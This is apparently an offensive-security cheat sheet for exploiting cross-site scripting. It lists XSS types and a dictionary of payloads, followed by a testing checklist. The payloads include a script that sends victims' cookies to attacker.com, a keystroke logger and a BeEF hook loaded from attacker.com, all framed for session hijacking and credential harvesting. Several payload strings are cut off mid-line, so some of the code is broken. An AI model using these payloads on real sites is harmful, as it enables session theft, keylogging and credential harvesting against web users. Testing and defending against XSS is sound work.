Cross Site Scripting Exploitation

Cross-Site Scripting Exploitation

Exploiting XSS vulnerabilities — from reflected, stored, and DOM-based through CSP bypass, session hijacking, keylogging, and BeEF integration.

When to Use

• Detecting and exploiting XSS vulnerabilities
• Bypassing CSP (Content Security Policy)
• Session hijacking via XSS
• XSS for phishing and credential harvesting (authorized testing)

XSS Payloads

XSS_TYPES = {
    'reflected': "Payload in URL/parameter, reflected immediately in response",
    'stored': "Payload stored on server (comments, profiles), served to all visitors",
    'dom_based': "Payload executed via client-side JS (URL fragment, eval, innerHTML)",
}

XSS_PAYLOADS = {
    'basic_alert': "<script>alert(1)</script>",
    'img_onerror': "<img src=x
    'svg_onload': "<svg/onload=alert(1)>",
    'body_onload': "<body
    'iframe': "<iframe
    'csp_bypass': "<script src='https://cdn.example.com/angular.js'
    'cookie_steal': "<script>fetch('https://attacker.com/c?'+document.cookie)</script>",
    'keylogger': "<script>document.onkeypress=e=>fetch('/log?k='+e.key)</script>",
}

# BeEF hook URL
BEEF_HOOK = "<script src='https://attacker.com/hook.js'></script>"

Verification Checklist

• XSS type identified (reflected, stored, DOM-based)
• Context determined (HTML, attribute, JS, CSS, URL)
• Basic payload confirmed (alert(1))
• WAF/CSP bypass attempted
• Impact demonstrated (cookie stealing, page defacement, keylogging)
• BeEF hook deployed for browser exploitation (if scoped)
• Credential harvesting PoC (authorized targets only)
• Self-XSS distinguished from actual vulnerability
• Remediation guidance provided (output encoding, CSP, input validation)